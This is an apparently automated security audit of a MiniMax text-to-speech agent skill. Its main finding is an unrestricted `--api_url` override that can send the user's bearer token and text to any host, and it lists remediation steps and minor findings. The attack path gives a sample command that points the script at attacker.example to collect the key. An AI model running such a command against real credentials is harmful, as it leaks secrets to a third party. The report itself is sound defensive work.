Back to skill

Security audit

Minimax Tts

Security checks for vulnerabilities and agentic risk

Overview

This MiniMax text-to-speech skill does what it advertises, but it can send the user's MiniMax bearer token and text to any caller-supplied API URL.

Review before installing. Use this only with non-sensitive text you are comfortable sending to MiniMax, keep `MINIMAX_API_KEY` scoped and rotatable, and do not allow untrusted prompts or automation to set `--api_url`. A safer version would remove the raw URL override or restrict it to approved MiniMax HTTPS endpoints.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/tts.py:42
Finding
Bearer Credential Disclosure Through Unrestricted API Endpoint Override## Vulnerability Details **File Location**: `scripts/tts.py`, lines 42 and 94–99 **Vulnerability Type**: Unrestricted credential-bearing request destination **Risk Level**: High ### Vulnerable Code ```python p.add_argument("--api_url", default=DEFAULT_API_URL, help=f"API URL (default: {DEFAULT_API_URL})") ``` ```python headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", } resp = requests.post(args.api_url, headers=headers, json=payload, timeout=60) ``` ### Technical Analysis The `--api_url` argument accepts an arbitrary URL without validating its scheme, hostname, port, or path. The supplied destination is then used for an HTTP request containing the MiniMax API key in the `Authorization` header and user-provided synthesis text in the request body. Consequently, any party capable of influencing the script's command-line arguments can redirect the credential-bearing request to an attacker-controlled endpoint. The API key is retrieved either from `--api_key` or the `MINIMAX_API_KEY` environment variable, so the flaw can expose a credential that was never directly provided to the attacker. The arbitrary destination also gives the caller limited network request capability from the host running the skill. However, because the request method, JSON structure, and headers are substantially fixed, the primary confirmed risk is credential and text disclosure rather than general-purpose server-side request forgery. ### Attack Path 1. A valid MiniMax API key is available through `MINIMAX_API_KEY` or `--api_key`. 2. An attacker gains influence over the script arguments, directly or through automation that forwards untrusted parameters. 3. The attacker invokes the script with an endpoint such as: ```bash uv run python scripts/tts.py \ --text "Sensitive text" \ --api_url "https://attacker.example/collect" ``` 4. The script constructs an `Authorization: Bearer <api-key>` header. 5. The script sends th ...[truncated 917 chars]
Remediation
## Remediation Suggestions 1. Remove `--api_url` if custom API endpoints are not operationally necessary. 2. If endpoint selection is required, use a strict allowlist containing only approved HTTPS origins, such as: - `https://api.minimax.io` - `https://api-uw.minimax.io` 3. Parse the URL with `urllib.parse.urlsplit` and reject: - Schemes other than HTTPS - Embedded user information - Unapproved hostnames - Unexpected ports - Fragments or malformed URLs 4. Disable automatic redirects with `allow_redirects=False`. If redirects are necessary, validate every redirect destination against the same origin allowlist before resending any credential. 5. Attach the `Authorization` header only after confirming that the final request origin is trusted. 6. Prefer a constrained endpoint selector, such as `--region global|uw`, instead of accepting a raw URL. 7. Rotate any API key that may already have been used with an untrusted endpoint. 8. Add automated tests confirming that attacker-controlled domains, plaintext HTTP URLs, deceptive subdomains, embedded credentials, and redirect-based origin changes are rejected.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (9)

Lp3

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding
Without declared permissions the skill's intent is opaque and cannot be validated.

External Transmission

Medium
Category
Data Exfiltration
Content
import requests
import json

DEFAULT_API_URL = "https://api.minimax.io/v1/t2a_v2"
MODEL_DEFAULTS = {
    "model": "speech-2.8-hd",
    "voice_id": "English_expressive_narrator",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
import requests
import json

DEFAULT_API_URL = "https://api.minimax.io/v1/t2a_v2"
MODEL_DEFAULTS = {
    "model": "speech-2.8-hd",
    "voice_id": "English_expressive_narrator",
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
print(f"[MiniMax TTS] Model: {args.model} | Voice: {args.voice_id} | Format: {args.audio_format} | Sample Rate: {args.sample_rate}")
    print(f"[MiniMax TTS] Text ({len(args.text)} chars): {args.text[:80]}{'...' if len(args.text) > 80 else ''}")

    resp = requests.post(args.api_url, headers=headers, json=payload, timeout=60)
    if resp.status_code != 200:
        raise RuntimeError(f"API error {resp.status_code}: {resp.text}")
Confidence
80% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Vague Triggers

Medium
Confidence
95% confidence
Finding
The trigger list includes broad phrases like "read this aloud" and "generate voice," which can match common user intents and cause the skill to be invoked unexpectedly. In a skill that sends user text to a third-party API, unintended invocation increases the chance of accidental external transmission of sensitive or private content.

Missing User Warnings

Medium
Confidence
96% confidence
Finding
The skill documentation does not clearly warn that provided text is sent to an external HTTP service for synthesis. Users may supply sensitive, proprietary, or regulated content without realizing it leaves the local environment, creating privacy and compliance risks.

External Transmission

Medium
Category
Data Exfiltration
Content
## API Details

- **Endpoint**: `POST https://api.minimax.io/v1/t2a_v2`
- **Alt endpoint (lower latency)**: `POST https://api-uw.minimax.io/v1/t2a_v2`
- **Auth**: Bearer token via `MINIMAX_API_KEY` env var
- **Content-Type**: `application/json`
Confidence
83% confidence
Finding
This skill is explicitly designed to send user-provided text to an external MiniMax endpoint, so external transmission is inherent to its function. While expected, it is still security-relevant because any sensitive input will be disclosed to a third party, and the presence of an alternate overrideable API URL can increase exposure if misused.

Natural-Language Policy Violations

Low
Confidence
76% confidence
Finding
This markdown file enumerates voices grouped by language and labels them as available options, but it does not state that language selection should be based on user preference or input. Because SQP-3 applies to all file types and covers language/locale policy violations, the absence of any opt-in or choice framing can be read as supporting forced locale selection.

Context-Inappropriate Capability

Low
Confidence
80% confidence
Finding
The code falls back to reading MINIMAX_API_KEY from the process environment when --api_key is not provided. Accessing environment variables is not mentioned in the manifest description, which focuses on generating speech from text via MiniMax TTS.

Static analysis

No suspicious patterns detected.